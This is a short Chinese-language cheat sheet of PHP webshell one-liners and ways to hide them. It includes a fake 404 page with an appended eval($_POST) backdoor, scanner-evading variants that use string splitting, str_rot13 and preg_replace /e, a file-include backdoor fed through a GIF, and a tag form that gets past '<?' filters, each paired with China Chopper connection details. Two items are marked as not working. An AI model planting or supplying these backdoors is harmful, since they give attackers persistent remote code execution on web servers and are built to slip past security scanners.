1、 利用404页面隐藏PHP小马:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@eval($_POST[password]);
header('HTTP/1.1 404 Not Found');
?>
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
2、无特征隐藏PHP一句话:复现不成功
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
?>
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
下面几个变形的一句话PHP木马
3、
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀里写 http://site/1.php?2=assert 密码是1
4、无法复现
<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀里写http://site/2.php? =assert& =eval($_POST['pass']) 密码是pass
5、
($b4dboy = $_POST['shell']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
# @eval($_POST['shell'])的变形
# str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!
6、
$filename=$_GET['shell_address'];
include ($filename);
//危险的include函数,直接编译任何文件为php格式运行
和上面类似
include ($_GET[uid]);
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
<?php assert($_POST[sb]);?> # 菜刀eval连接
程序代码
<script language="php">@eval($_POST[sb])</script>
//绕过<?限制的一句话